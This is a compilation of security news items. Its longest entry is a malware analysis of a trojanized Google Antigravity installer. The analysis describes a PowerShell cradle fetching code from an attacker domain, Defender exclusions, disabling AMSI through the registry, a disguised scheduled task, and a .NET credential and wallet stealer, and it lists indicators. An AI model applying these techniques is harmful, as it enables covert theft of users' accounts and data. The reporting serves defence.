From autonomous code generation to decision-making systems that initiate actions without human intervention, the industry is entering a new phase.
The post Why Cybersecurity Must Rethink Defense in the Age of Autonomous Agents appeared first on SecurityWeek.
The Trump administration is vowing to crack down on foreign tech companies’ exploitation of U.S. artificial intelligence models.
The post Trump Administration Vows Crackdown on Chinese Companies ‘Exploiting’ AI Models Made in US appeared first on SecurityWeek.
The Israel-based company, which just emerged from stealth mode, was founded by cloud and security experts from RSA, McAfee, and Unity.
The post Copperhelm Raises $7 Million for Agentic Cloud Security Platform appeared first on SecurityWeek.
360 Digital Security Group claims to have uncovered 1,000 vulnerabilities using AI, including at the Tianfu Cup hacking contest.
The post Chinese Cybersecurity Firm’s AI Hacking Claims Draw Comparisons to Claude Mythos appeared first on SecurityWeek.
Palo Alto Networks has developed Zealot, a multi-agent penetration testing PoC capable of reconnaissance, exploitation, and exfiltration.
The post AI Can Autonomously Hack Cloud Systems With Minimal Oversight: Researchers appeared first on SecurityWeek.
Security researcher Alexander Hanff wrote an article titled Anthropic secretly installs spyware when you install Claude Desktop.
Claims like that are bound to create two sides, so we searched for an official rebuttal by Anthropic. But we couldn’t find one. It would surprise me very much if they’d be unaware of the claim, since there’s been some noise about it.
Users on Mastodon, Reddit, and LinkedIn are confirming the researcher’s findings and discussing the subject, so it’s hard to imagine Anthropic missed it.
Let’s look at the claims first.
While looking into another matter, the researcher discovered a Native Messaging host manifest on his Mac that he did not knowingly install. On Chrome and other Chromium-based browsers, extensions can exchange messages with native applications if they register a native messaging host that can communicate with the extension.
By testing on a clean machine, Hanff discovered that Installing Claude Desktop for macOS drops a Native Messaging host manifest into multiple Chromium profiles (Chrome, Edge, Brave, Arc, Vivaldi, Opera, Chromium), even including for browsers that are not actually installed yet.
The Native Messaging host manifest tells a Chromium‑based browser which local executable to invoke when an extension calls a native host, and those hosts run outside the browser sandbox with current users permissions. Hanff therefore describes this as a “backdoor.” The manifest pre‑authorizes three Chrome extension IDs, so any extension with those IDs can call the helper via connectNative, giving it access to browser automation features.
Another objection is that Claude makes simple deletion futile since the manifest will be recreated the next time the user launches Claude Desktop.
It’s important here to point out that his article is about Claude Desktop, the Electron-based macOS application with bundle identifier com.anthropic.claudefordesktop, distributed as Claude.app. It is not about Claude Code, Anthropic’s command line developer tool. Claude Code is autonomous (“agentic”), allowing you to hand over a task, and it handles the planning and execution until done. So, for Claude Code, it would absolutely make sense to enable communication with browsers, provided they are present on the target system.
So, we have an application that writes into other apps’ profile/support directories (the browsers’ configuration area) and can act as the user, with capabilities like using the logged‑in browser session, DOM inspection, data extraction, form filling, and session recording. This expands the attack surface of every machine this manifest is dropped on, without asking for consent.
Anthropic’s own launch blog on “Claude for Chrome,” which discusses Anthropic’s internal red‑team experiments, explicitly mentions prompt injection as a key risk and reports attack success rates of 23.6% (no mitigations) and 11.2% (with mitigations). Hanff cites this to argue that a pre‑positioned bridge is a non‑trivial risk.
Native Messaging is a standard Chromium mechanism. Nothing here is an unknown or exotic technique per se. Chrome’s own documentation explains that Native Messaging hosts run at user privilege and are invoked by browser extensions through a manifest file. And as the researcher pointed out, the bridge does nothing. But it could potentially be abused.
I don’t think it’s fair to say that Claude Desktop installs spyware, but it does open a system up by expanding the attack surface.
Anthropic already had a separate, documented Native Messaging manifest for Claude Code that users sometimes manually copied into other Chromium browsers; the new behavior is that Claude Desktop now drops a Claude‑Desktop‑related manifest into multiple browser paths automatically.
It requires a combination of extension and host. Only combined with a matching browser extension, this bridge enables the user-like capabilities we listed earlier.
Anthropic hasn’t published a detailed technical privacy spec for the Claude Desktop–browser bridge, so we don’t know exactly what data flows when the Chrome integration is used, beyond the general capabilities described in their documentation (session access, DOM reading, etc.).
The detailed analysis and most replication so far are on macOS. We’re in the dark about behavior on Windows and Linux, and the same is true across different browser install paths. That behavior has also not been comprehensively documented in public write‑ups.
I did reach out to Anthropic asking for a response. If and when we get an official response from Anthropic, I’ll add it here, so stay tuned.
Anthropic likely wanted “Claude in Chrome”‑style capabilities across Chromium‑based browsers, but that doesn’t excuse doing it silently and preinstalling the manifest into profile directories for multiple browsers, including ones that are not yet installed.
There are better ways to implement changes like these, and users should at least be made aware of them so they can weigh the advantages against the potential risks.
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Somebody went looking for Google’s new Antigravity coding tool this week, clicked download, ran the installer, and got exactly what they thought they were getting. Antigravity installed cleanly. A shortcut appeared on the desktop. The application opened and worked. Nothing looked or felt wrong.
But behind the scenes, that installer can give your accounts, your data, and even your machine to an attacker, without breaking anything the user can see.
In this article, we’ll break down the technical details of the campaign, how it works under the hood, and what to do if you think you’ve installed it.
Google Antigravity launched in November 2025 and has been one of the most searched-for developer tools on the web ever since. The real product lives at antigravity.google. Hardly anyone new to the product has the real URL memorized, so when a user reached a hyphenated lookalike (what we call a typosquat domain) at google-antigravity[.]com it was convincing enough at a glance.
So they went on to download the file, called Antigravity_v1.22.2.0.exe.
The installer isn’t simply named to look like the real one from Google. It’s 138 MB: large enough to carry the entire Antigravity application, its Electron runtime, its Vulkan graphics libraries, its updater, all of it. Because that is what is actually inside.
The attacker didn’t build a convincing fake; they took the genuine Antigravity installer, added one additional step to run their PowerShell script during setup, and repackaged the result. The malicious step is one extra line in a sequence that runs dozens of legitimate ones. Here’s what the Setup looked like:
How do we know it’s one line? Because you can see it.
The MSI’s custom-action table (the list of every step the installer takes during install) contains 11 rows that are standard, boilerplate entries the installer tool generates automatically: extract files, check the Windows version, elevate to admin, write a log, clean up afterwards. Each of those has a name that starts with AI_ followed by a description of what it does. And then, sitting at the bottom of the same list, there is one more row, named wefasgsdfg — a keyboard mash the attacker typed in when the installer tool prompted them for a name, and the one that runs their PowerShell script.
Antigravity installs properly into C:\Program Files (x86)\Google LLC\Antigravity\. A Start Menu entry appears, a desktop shortcut is placed, and everything works. The user opens the app, tries it, closes it, and goes on with their day. It all seems fine, because they actually installed the thing they wanted to install. The malicious part is happening quietly, in a folder they’ll never open.
Somewhere in the middle of the install, the MSI runs a small helper script that drops two PowerShell files into the user’s temporary folder: scr5020.ps1 and pss5032.ps1. The filenames look like specifics but aren’t: the four characters after each prefix are generated fresh every time the installer runs.
What stays constant is the prefix: scr for the user script, pss for the PowerShell wrapper, because those come from the installer tool’s standard naming pattern for custom-action scripts.
Of the two files, the second is an unaltered Advanced Installer utility. It’s genuinely innocent and present in many real products. The first was added by the attacker, and it has one job: open an HTTPS connection to https://opus-dsn[.]com/login/, download whatever code the server sends back, and run it. To blend in, it spoofs a Microsoft referrer header and routes through the system’s default web proxy, so it inherits whatever corporate proxy configuration and authentication IT has set up, without the user noticing. It also saves and restores the parent PowerShell’s TLS setting, leaving that one global unchanged after it exits. That’s the entire script.
Researchers call this pattern a downloader cradle, and its advantage to the attacker is flexibility. The real payload lives on their server, not inside the installer out in the wild, so they can swap it out, change targeting, or turn the operation off without touching the file users are downloading.
In this case, the cradle did exactly what it was built to do and no more: a DNS query for opus-dsn[.]com, a single TCP connection on port 443 to 89[.]124[.]96[.]27 with a quiet HTTPS GET to /login/, and then the PowerShell process exited.
Nothing else happened. No second-stage script was fetched. No file was dropped. No scheduled task was created. No changes were made to Windows Defender. Most automated security tools would shrug and move on.
But the malware hadn’t failed. It had introduced itself to the attacker’s server and asked for code to run next—and whether the answer comes back is a decision the operator gets to make later, on their own time, one victim at a time. You cannot tell, from the victim’s side, what was returned. For analysis, we retrieved what the server sends when the answer is yes.
When the server decides a target is worth attacking, the follow-on script does its work in three movements.
First, it makes Defender look the other way. It calls Add-MpPreference (with the cmdlet name split by a backtick, a small obfuscation to dodge naïve string-matching detections) to exclude %ProgramData% and %APPDATA% from scanning, exclude .exe, .msi, and .dll files from scanning, and exclude PowerShell, regasm.exe, rundll32.exe, msedge.exe, and chrome.exe from scanning. Only after that does it phone home—collecting a profile of the machine (Windows version, Active Directory domain, installed antivirus product), RSA-encrypting it with a public key embedded in the script, and sending it to opus-dsn[.]com inside a utm_content query parameter that looks, in any access log, like ordinary marketing tracking. This is the profile the operator uses to decide whether this particular machine is worth the next stage.
Second, it widens the gap. A second Add-MpPreference block extends the exclusion list to include the .png file extension and the conhost.exe process—the exact two additions the next stage will need. It then writes AmsiEnable=0 into HKLM\Software\Policies\Microsoft\Windows Script\Settings, disabling Windows’ Antimalware Scan Interface—the layer that normally lets Defender read scripts before they execute. After this point, the malicious activity is being conducted in folders, with file types, and through processes that Defender has been instructed to ignore.
Third, it stages persistence. It downloads a file called secret.png from https://captr.b-cdn[.]net/secret.png (a BunnyCDN URL that looks at a glance like any other content-delivery link) and saves it to C:\ProgramData\MicrosoftEdgeUpdate.png, a path chosen to sit beside Microsoft’s real browser-update folders. The file is not an image. It is an AES-256-CBC ciphertext (key and IV both derived via PBKDF2 with 10,000 iterations from a hardcoded passphrase) wrapping a .NET assembly. A scheduled task is then registered with the name MicrosoftEdgeUpdateTaskMachineCore{JBNEN-NQVNZJ-KJAN323-111}, which is all but indistinguishable at a glance from the real Microsoft Edge update task and set to fire at every logon, running unprivileged so it never produces a UAC prompt. The action it executes is conhost.exe --headless launching a hidden PowerShell, which decrypts the fake PNG in memory and reflectively loads the resulting .NET assembly into its own address space. Nothing lands on disk as an ordinary executable. All that persists is the encrypted image, in a folder Defender has been asked to ignore.
And then a second payload, that doesn’t persist at all. The script doesn’t stop there. After registering and starting the scheduled task, it sends a second beacon to confirm install, then runs an entirely separate block that downloads a second encrypted file (GGn.xml) from the same BunnyCDN host, decrypts it with a different, hardcoded AES key, and reflectively loads that assembly into the running PowerShell process too. The first payload survives reboots; this one runs once, in memory, and is gone. Two .NET assemblies, one campaign, on the victim.
The decrypted assembly is a .NET stealer. We can characterize it from its own class and method names, which describe its job in plain English: it scans browsers, messaging apps, gaming platforms, FTP clients, and crypto wallets, collecting data labeled Logins, Cookies, Autofills, and FtpConnections.
In practice, that means every Chromium- and Firefox-based browser on the machine (Chrome, Edge, Brave, and others) gets stripped of saved passwords, autofill data (including saved credit cards), and the cookies that keep users signed in. Discord tokens, Telegram sessions, Steam logins, FTP credentials, and cryptocurrency wallet files are taken as well.
(Most of the exact target paths are obfuscated and only decrypted at runtime, so the specific apps aren’t all visible from a static analysis, but the categories of theft are clear from the class names.)
Session cookies are the part that should alarm most people, because they work faster than anything else. A stolen login cookie lets an attacker walk straight into a Gmail inbox or banking portal without needing a password or triggering two-factor authentication. As far as the website is concerned, the user is already signed in. The gap between infection and account takeover can be minutes.
Beyond data theft, the malware also imports Windows APIs used for clipboard hijacking and keystroke logging, tools that can capture what you type or swap a cryptocurrency wallet address at the exact moment you send funds.
It also includes the building blocks for “hidden desktop” tradecraft: creating a second, invisible Windows desktop that the attacker can capture and potentially control. In its most advanced form, this lets an attacker operate inside that hidden environment—logging in to accounts, approving transactions, or sending messages—while the victim’s real screen shows nothing unusual. For the duration of the infection, the attacker is, effectively, a second presence on the computer.
The reason this campaign matters beyond the single installer is that its shape isn’t new. It’s a refined version of a pattern we’ve been watching for months: new AI products launch with huge attention, and within weeks, lookalike domains and trojanized installers appear alongside them. Antigravity is the latest example, but it won’t be the last.
The incentive for attackers is obvious. Every high-profile AI launch creates a surge of users who want to try it immediately, before they’ve had time to memorize the real URL, or might fail to double-check it against trusted sources.
What makes this style of campaign hard to spot is that most victims never know they were targeted. Those who escaped, because the operator chose not to escalate on their machine, have no reason to think anything happened.
The ones who didn’t escape usually find out later: a password reset they didn’t request, a friend asking about a strange message, or a bank balance that suddenly looks wrong. By then, the decision to target them was made days earlier.
If you or anyone who shares your computer recently installed something calling itself Google Antigravity from anywhere other than antigravity.google, start by checking the network indicators. Look in firewall logs, EDR alerts, or your router logs for connections to opus-dsn[.]com, captr.b-cdn[.]net, or 89[.]124[.]96[.]27. A single connection from a PowerShell process is enough to confirm the check-in happened.
File hashes (SHA-256)
61aca585687ec21a182342a40de3eaa12d3fc0d92577456cae0df37c3ed28e99 (Antigravity_v1.22.2.0.exe)
Network indicators
captr.b-cdn[.]net
google-antigravity[.]com
opus-dsn[.]com
89[.]124[.]96[.]27
According to CNET. Read their review →
Anthropic’s most capable model to date, Claude Mythos Preview (aka Mythos), has been described as a “step change” in AI performance, especially on cybersecurity tasks.
Anthropic tried to keep Mythos a secret until a few weeks ago, when a data leak revealed the existence of what the company said was its most powerful artificial intelligence to date. The models is seen as both a powerful defensive tool, and, potentially, a serious offensive cyberweapon.
For that reason, the company is sharply limiting access and signaling it does not plan to release it broadly to the market right now. Its reported ability to autonomously find and even chain software vulnerabilities at scale sit at the core of both the hype and the danger.
Imagine a tool that can independently find new vulnerabilities in software, systems, and platforms, then turn them into exploits, even if that requires chaining them with other vulnerabilities.
In the wrong hands, that could be a major threat to our cyber safety. So Anthropic has limited access to a small number of organizations worldwide, including major tech firms and a select group of government or security bodies. The NSA is reportedly already using Mythos Preview, apparently to stress‑test and harden sensitive systems, despite the Pentagon labelling Anthropic as a supply chain risk.
Mythos can discover vulnerabilities across large codebases more quickly and reliably than existing tools, and can look for multiple flaws in one system and combine them into multi‑step exploit chains to complete a compromise (for example, going from a simple web bug to a full domain takeover). It would take a bug bounty hunter months to find another vulnerability, let alone one chainable with the one(s) already discovered. Accomplishing that before the first one would be highly unlikely.
In practical terms, that could mean faster attacks, more complex breaches, and less time for companies to fix weaknesses before they’re exploited.
Anthropic itself has highlighted that Mythos can work with minimal supervision for extended periods, meaning it could run systematic attack campaigns at a scale no human team could accomplish.
Anthropic flagged these security risks in an internal document:
But the most concerning conclusion was that the offensive side is iterating faster in the current phase of AI development, and security teams are generally later adopters of AI tooling than their adversaries.
As we know, AI in cybersecurity works both ways. It helps us defend against new threats, but it can also be used to create them. Which is why, in the wrong hands, Mythos can turn out to be a formidable adversary.
The goal stays the same, but the way to get there is paved by tools like Mythos. From the attacker’s seat, nothing about the destination is new. The novelty is that Mythos now automates the map, the vehicle, and most of the driving.
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Last week, Anthropic pulled back the curtain on Claude Mythos Preview, an AI model so capable at finding and exploiting software vulnerabilities that the company decided it was too dangerous to release to the public. Instead, access has been restricted to roughly 50 organizations—Microsoft, Apple, Amazon Web Services, CrowdStrike and other vendors of critical infrastructure—under an initiative called Project Glasswing.
The announcement was accompanied by a barrage of hair-raising anecdotes: thousands of vulnerabilities uncovered across every major operating system and browser, including a 27-year-old bug in OpenBSD, a 16-year-old flaw in FFmpeg. Mythos was able to weaponize a set of vulnerabilities it found in the Firefox browser into 181 usable attacks; Anthropic’s previous flagship model could only achieve two.
This is, in many respects, exactly the kind of responsible disclosure that security researchers have long urged. And yet the public has been given remarkably little with which to evaluate Anthropic’s decision. We have been shown a highlight reel of spectacular successes. However, we can’t tell if we have a blockbuster until they let us see the whole movie.
For example, we don’t know how many times Mythos mistakenly flagged code as vulnerable. Anthropic said security contractors agreed with the AI’s severity rating 198 times, with an 89 per cent severity agreement. That’s impressive, but incomplete. Independent researchers examining similar models have found that AI that detects nearly every real bug also hallucinates plausible-sounding vulnerabilities in patched, correct code.
This matters. A model that autonomously finds and exploits hundreds of vulnerabilities with inhuman precision is a game changer, but a model that generates thousands of false alarms and non-working attacks still needs skilled and knowledgeable humans. Without knowing the rate of false alarms in Mythos’s unfiltered output, we cannot tell whether the examples showcased are representative.
There is a second, subtler problem. Large language models, including Mythos, perform best on inputs that resemble what they were trained on: widely used open-source projects, major browsers, the Linux kernel and popular web frameworks. Concentrating early access among the largest vendors of precisely this software is sensible; it lets them patch first, before adversaries catch up.
But the inverse is also true. Software outside the training distribution—industrial control systems, medical device firmware, bespoke financial infrastructure, regional banking software, older embedded systems—is exactly where out-of-the-box Mythos is likely least able to find or exploit bugs.
However, a sufficiently motivated attacker with domain expertise in one of these fields could nevertheless wield Mythos’s advanced reasoning capabilities as a force multiplier, probing systems that Anthropic’s own engineers lack the specialized knowledge to audit. The danger is not that Mythos fails in those domains; it is that Mythos may succeed for whoever brings the expertise.
Broader, structured access for academic researchers and domain specialists—cardiologists’ partners in medical device security, control-systems engineers, researchers in less prominent languages and ecosystems—would meaningfully reduce this asymmetry. Fifty companies, however well chosen, cannot substitute for the distributed expertise of the entire research community.
None of this is an indictment of Anthropic. By all appearances the company is trying to act responsibly, and its decision to hold the model back is evidence of seriousness.
But Anthropic is a private company and, in some ways, still a start-up. Yet it is making unilateral decisions about which pieces of our critical global infrastructure get defended first, and which must wait their turn.
It has finite staff, finite budget and finite expertise. It will miss things, and when the thing missed is in the software running a hospital or a power grid, the cost will be borne by people who never had a say.
The security problem is far greater than one company and one model. There’s no reason to believe that Mythos Preview is unique. (Not to be outdone, OpenAI announced that its new GPT-5.4-Cyber is so dangerous that the model also will not be released to the general public.) And it’s unclear how much of an advance these new models represent. The security company Aisle was able to replicate many of Anthropic’s published anecdotes using smaller, cheaper, public AI models.
Any decisions we make about whether and how to release these powerful models are more than one company’s responsibility. Ultimately, this will probably lead to regulation. That will be hard to get right and requires a long process of consultation and feedback.
In the short term, we need something simpler: greater transparency and information sharing with the broader community. This doesn’t necessarily mean making powerful models like Claude Mythos widely available. Rather, it means sharing as much data and information as possible, so that we can collectively make informed decisions.
We need globally co-ordinated frameworks for independent auditing, mandatory disclosure of aggregate performance metrics and funded access for academic and civil-society researchers.
This has implications for national security, personal safety and corporate competitiveness. Any technology that can find thousands of exploitable flaws in the systems we all depend on should not be governed solely by the internal judgment of its creators, however well intentioned.
Until that changes, each Mythos-class release will put the world at the edge of another precipice, without any visibility into whether there is a landing out of view just below, or whether this time the drop will be fatal. That is not a choice a for-profit corporation should be allowed to make in a democratic society. Nor should such a company be able to restrict the ability of society to make choices about its own security.
This essay was written with David Lie, and originally appeared in The Globe and Mail.
Interesting research: “Humans expect rationality and cooperation from LLM opponents in strategic games.”
Abstract: As Large Language Models (LLMs) integrate into our social and economic interactions, we need to deepen our understanding of how humans respond to LLMs opponents in strategic settings. We present the results of the first controlled monetarily-incentivised laboratory experiment looking at differences in human behaviour in a multi-player p-beauty contest against other humans and LLMs. We use a within-subject design in order to compare behaviour at the individual level. We show that, in this environment, human subjects choose significantly lower numbers when playing against LLMs than humans, which is mainly driven by the increased prevalence of ‘zero’ Nash-equilibrium choices. This shift is mainly driven by subjects with high strategic reasoning ability. Subjects who play the zero Nash-equilibrium choice motivate their strategy by appealing to perceived LLM’s reasoning ability and, unexpectedly, propensity towards cooperation. Our findings provide foundational insights into the multi-player human-LLM interaction in simultaneous choice games, uncover heterogeneities in both subjects’ behaviour and beliefs about LLM’s play when playing against them, and suggest important implications for mechanism design in mixed human-LLM systems.
Interesting paper: “What hackers talk about when they talk about AI: Early-stage diffusion of a cybercrime innovation.”
Abstract: The rapid expansion of artificial intelligence (AI) is raising concerns about its potential to transform cybercrime. Beyond empowering novice offenders, AI stands to intensify the scale and sophistication of attacks by seasoned cybercriminals. This paper examines the evolving relationship between cybercriminals and AI using a unique dataset from a cyber threat intelligence platform. Analyzing more than 160 cybercrime forum conversations collected over seven months, our research reveals how cybercriminals understand AI and discuss how they can exploit its capabilities. Their exchanges reflect growing curiosity about AI’s criminal applications through legal tools and dedicated criminal tools, but also doubts and anxieties about AI’s effectiveness and its effects on their business models and operational security. The study documents attempts to misuse legitimate AI tools and develop bespoke models tailored for illicit purposes. Combining the diffusion of innovation framework with thematic analysis, the paper provides an in-depth view of emerging AI-enabled cybercrime and offers practical insights for law enforcement and policymakers.
Over 80% of workers use unapproved AI tools. Learn how shadow AI creates hidden attack surface and what security teams can do to detect and address it.
The post Shadow AI: How Unsanctioned Tools Create Invisible Risk appeared first on OffSec.
Kaspersky Security Services provide a comprehensive cybersecurity ecosystem, taking enterprise threat protection to another level. Services like Kaspersky Managed Detection and Response and Compromise Assessment allow for timely detection of threats and cyberattacks. SOC Consulting provides a practical approach ensuring the corporate infrastructure stays secured, while Incident Response is suited for timely remediation with a maximized recovery rate.
High-level overview of the MDR, IR and CA connection
This new report brings together statistics across regions and industries from our Managed Detection and Response and Incident Response services, and for the first time, it also includes insights from our Compromise Assessment and SOC Consulting services — all to provide you with more comprehensive view of different aspects of corporate information security worldwide.
Provision of Kaspersky’s MDR and IR services follows a global approach. The majority of customers accounted for the CIS (34.7%), the Middle East (20.1%), and Europe (18.6%).
Distribution of customers by geographical region, 2025
Following the previous year’s numbers, in 2025, the MDR infrastructure received and processed an average of 15,000 telemetry events per host every day, generating security alerts as a result. These alerts are first processed by AI-powered detection logic, after which Kaspersky SOC analysts handle them as required. Overall, a total of approximately 400,000 alerts were generated in 2025. After counting out false positives, 39,000 alerts were further investigated.
MDR telemetry statistics, 2025
The distribution of remediation requests by industry has slightly changed as compared to previous years’ pattern. Government (18.5%) and industrial (16.6%) organizations are still the most targeted industries in regards to cyberattacks that require incident response activities. However, this year, the IT sector saw a growth in the number of IR requests, eventually being placed third in the overall industry distribution rankings and thus replacing financial organizations, which were targeted less often than in 2024. This is equally true for smaller-scale attacks that can be contained and remediated through automated means — the only difference is that medium- and low-severity incidents are more often experienced by financial organizations.
Distribution of all incidents by industry sector, 2025
This section presents key findings and trends in cyberattacks in 2025:
The full 2026 Global Report provides additional information about cyberattacks, including real-world cases discovered by Kaspersky experts. We also describe SOC Consulting projects and Compromise Assessment requests. The report includes comprehensive analysis of initial attack vectors in correlation with the MITRE ATT&CK tactics and techniques and the full list of vulnerabilities that we detected during Incident Response engagements.
OSCP holders already have the adversarial mindset AI red teaming demands. Learn what transfers, what's new, and how to close the gap from OSCP to OSAI efficiently.
The post OSCP to OSAI: How Offensive Security Practitioners Can Pivot Into AI Security appeared first on OffSec.
In 2025, Google, Amazon, Microsoft and Meta collectively spent US$380 billion on building artificial-intelligence tools. That number is expected to surge still higher this year, to $650 billion, to fund the building of physical infrastructure, such as data centers (see go.nature.com/3lzf79q). Moreover, these firms are spending lavishly on one particular segment: top technical talent.
Meta reportedly offered a single AI researcher, who had cofounded a start-up firm focused on training AI agents to use computers, a compensation package of $250 million over four years (see go.nature.com/4qznsq1). Technology firms are also spending billions on “reverse-acquihires”—poaching the star staff members of start-ups without acquiring the companies themselves. Eyeing these generous payouts, technical experts earning more modest salaries might well reconsider their career choices.
Academia is already losing out. Since the launch of ChatGPT in 2022, concerns have grown in academia about an “AI brain drain.” Studies point to a sharp rise in university machine-learning and AI researchers moving to industry roles. A 2025 paper reported that this was especially true for young, highly cited scholars: researchers who were about five years into their careers and whose work ranked among the most cited were 100 times more likely to move to industry the following year than were ten-year veterans whose work received an average number of citations, according to a model based on data from nearly seven million papers.1
This outflow threatens the distinct roles of academic research in the scientific enterprise: innovation driven by curiosity rather than profit, as well as providing independent critique and ethical scrutiny. The fixation of “big tech” firms on skimming the very top talent also risks eroding the idea of science as a collaborative endeavor, in which teams—not individuals—do the most consequential work.
Here, we explore the broader implications for science and suggest alternative visions of the future.
Astronomical salaries for AI talent buy into a legend as old as the software industry: the 10x engineer. This is someone who is supposedly capable of ten times the impact of their peers. Why hire and manage an entire group of scientists or software engineers when one genius—or an AI agent—can outperform them?
That proposition is increasingly attractive to tech firms that are betting that a large number of entry-level and even mid-level engineering jobs will be replaced by AI. It’s no coincidence that Google’s Gemini 3 Pro AI model was launched with boasts of “PhD-level reasoning,” a marketing strategy that is appealing to executives seeking to replace people with AI.
But the lone-genius narrative is increasingly out of step with reality. Research backs up a fundamental truth: science is a team sport. A large-scale study of scientific publishing from 1900 to 2011 found that papers produced by larger collaborations consistently have greater impact than do those of smaller teams, even after accounting for self-citation.2 Analyses of the most highly cited scientists show a similar pattern: their highest-impact works tend to be those papers with many authors.3 A 2020 study of Nobel laureates reinforces this trend, revealing that—much like the wider scientific community—the average size of the teams that they publish with has steadily increased over time as scientific problems increase in scope and complexity.4
From the detection of gravitational waves, which are ripples in space-time caused by massive cosmic events, to CRISPR-based gene editing, a precise method for cutting and modifying DNA, to recent AI breakthroughs in protein-structure prediction, the most consequential advances in modern science have been collective achievements. Although these successes are often associated with prominent individuals—senior scientists, Nobel laureates, patent holders—the work itself was driven by teams ranging from dozens to thousands of people and was built on decades of open science: shared data, methods, software and accumulated insight.
Building strong institutions is a much more effective use of resources than is betting on any single individual. Examples demonstrating this include the LIGO Scientific Collaboration, the global team that first detected gravitational waves; the Broad Institute of MIT and Harvard in Cambridge, Massachusetts, a leading genomics and biomedical-research center behind many CRISPR advances; and even for-profit laboratories such as Google DeepMind in London, which drove advances in protein-structure prediction with its AlphaFold tool. If the aim of the tech giants and other AI firms that are spending lavishly on elite talent is to accelerate scientific progress, the current strategy is misguided.
By contrast, well-designed institutions amplify individual ability, sustain productivity beyond any one person’s career and endure long after any single contributor is gone.
Equally important, effective institutions distribute power in beneficial ways. Rather than vesting decision-making authority in the hands of one person, they have mechanisms for sharing control. Allocation committees decide how resources are used, scientific advisory boards set collective research priorities, and peer review determines which ideas enter the scientific record.
And although the term “innovation by committee” might sound disparaging, such an approach is crucial to make the scientific enterprise act in concert with the diverse needs of the broader public. This is especially true in science, which continues to suffer from pervasive inequalities across gender, race and socio-economic and cultural differences.5
This is why scientists, academics and policymakers should pay more attention to how AI research is organized and led, especially as the technology becomes essential across scientific disciplines. Used well, AI can support a more equitable scientific enterprise by empowering junior researchers who currently have access to few resources.
Instead, some of today’s wealthiest scientific institutions might think that they can deploy the same strategies as the tech industry uses and compete for top talent on financial terms—perhaps by getting funding from the same billionaires who back big tech. Indeed, wage inequality has been steadily growing within academia for decades.6 But this is not a path that science should follow.
The ideal model for science is a broad, diverse ecosystem in which researchers can thrive at every level. Here are three strategies that universities and mission-driven labs should adopt instead of engaging in a compensation arms race.
First, universities and institutions should stay committed to the public interest. An excellent example of this approach can be found in Switzerland, where several institutions are coordinating to build AI as a public good rather than a private asset. Researchers at the Swiss Federal Institute of Technology in Lausanne (EPFL) and the Swiss Federal Institute of Technology (ETH) in Zurich, working with the Swiss National Supercomputing Centre, have built Apertus, a freely available large language model. Unlike the controversially-labelled “open source” models built by commercial labs—such as Meta’s LLaMa, which has been criticized for not complying with the open-source definition (see go.nature.com/3o56zd5)—Apertus is not only open in its source code and its weights (meaning its core parameters), but also in its data and development process. Crucially, Apertus is not designed to compete with “frontier” AI labs pursuing superintelligence at enormous cost and with little regard for data ownership. Instead, it adopts a more modest and sustainable goal: to make AI trustworthy for use in industry and public administration, strictly adhering to data-licensing restrictions and including local European languages.7
Principal investigators (PIs) at other institutions globally should follow this path, aligning public funding agencies and public institutions to produce a more sustainable alternative to corporate AI.
Second, universities should bolster networks of researchers from the undergraduate to senior-professor levels—not only because they make for effective innovation teams, but also because they serve a purpose beyond next quarter’s profits. The scientific enterprise galvanizes its members at all levels to contribute to the same projects, the same journals and the same open, international scientific literature—to perpetuate itself across generations and to distribute its impact throughout society.
Universities should take precisely the opposite hiring strategy to that of the big tech firms. Instead of lavishing top dollar on a select few researchers, they should equitably distribute salaries. They should raise graduate-student stipends and postdoc salaries and limit the growth of pay for high-profile PIs.
Third, universities should show that they can offer more than just financial benefits: they must offer distinctive intellectual and civic rewards. Although money is unquestionably a motivator, researchers also value intellectual freedom and the recognition of their work. Studies show that research roles in industry that allow publication attract talent at salaries roughly 20% lower than comparable positions that prohibit it (see go.nature.com/4cbjxzu).
Beyond the intellectual recognition of publications and citation counts, universities should recognize and reward the production of public goods. The tenure and promotion process at universities should reward academics who supply expertise to local and national governments, who communicate with and engage the public in research, who publish and maintain open-source software for public use and who provide services for non-profit groups.
Furthermore, institutions should demonstrate that they will defend the intellectual freedom of their researchers and shield them from corporate or political interference. In the United States today, we see a striking juxtaposition between big tech firms, which curry favour with the administration of US President Donald Trump to win regulatory and trade benefits, and higher-education institutions, which suffer massive losses of federal funding and threats of investigation and sanction. Unlike big tech firms, universities should invest in enquiry that challenges authority.
We urge leaders of scientific institutions to reject the growing pay inequality rampant in the upper echelons of AI research. Instead, they should compete for talent on a different dimension: the integrity of their missions and the equitableness of their institutions. These institutions should focus on building sustainable organizations with diverse staff members, rather than bestowing a bounty on science’s 1%.
This essay was written with Nathan E. Sanders, and originally appeared in Nature.
Canada has a choice to make about its artificial intelligence future. The Carney administration is investing $2-billion over five years in its Sovereign AI Compute Strategy. Will any value generated by “sovereign AI” be captured in Canada, making a difference in the lives of Canadians, or is this just a passthrough to investment in American Big Tech?
Forcing the question is OpenAI, the company behind ChatGPT, which has been pushing an “OpenAI for Countries” initiative. It is not the only one eyeing its share of the $2-billion, but it appears to be the most aggressive. OpenAI’s top lobbyist in the region has met with Ottawa officials, including Artificial Intelligence Minister Evan Solomon.
All the while, OpenAI was less than open. The company had flagged the Tumbler Ridge, B.C., shooter’s ChatGPT interactions, which included gun-violence chats. Employees wanted to alert law enforcement but were rebuffed. Maybe there is a discussion to be had about users’ privacy. But even after the shooting, the OpenAI representative who met with the B.C. government said nothing.
When tech billionaires and corporations steer AI development, the resultant AI reflects their interests rather than those of the general public or ordinary consumers. Only after the meeting with the B.C. government did OpenAI alert law enforcement. Had it not been for the Wall Street Journal’s reporting, the public would not have known about this at all.
Moreover, OpenAI for Countries is explicitly described by the company as an initiative “in co-ordination with the U.S. government.” And it’s not just OpenAI: all the AI giants are for-profit American companies, operating in their private interests, and subject to United States law and increasingly bowing to U.S. President Donald Trump. Moving data centres into Canada under a proposal like OpenAI’s doesn’t change that. The current geopolitical reality means Canada should not be dependent on U.S. tech firms for essential services such as cloud computing and AI.
While there are Canadian AI companies, they remain for-profit enterprises, their interests not necessarily aligned with our collective good. The only real alternative is to be bold and invest in a wholly Canadian public AI: an AI model built and funded by Canada for Canadians, as public infrastructure. This would give Canadians access to the myriad of benefits from AI without having to depend on the U.S. or other countries. It would mean Canadian universities and public agencies building and operating AI models optimized not for global scale and corporate profit, but for practical use by Canadians.
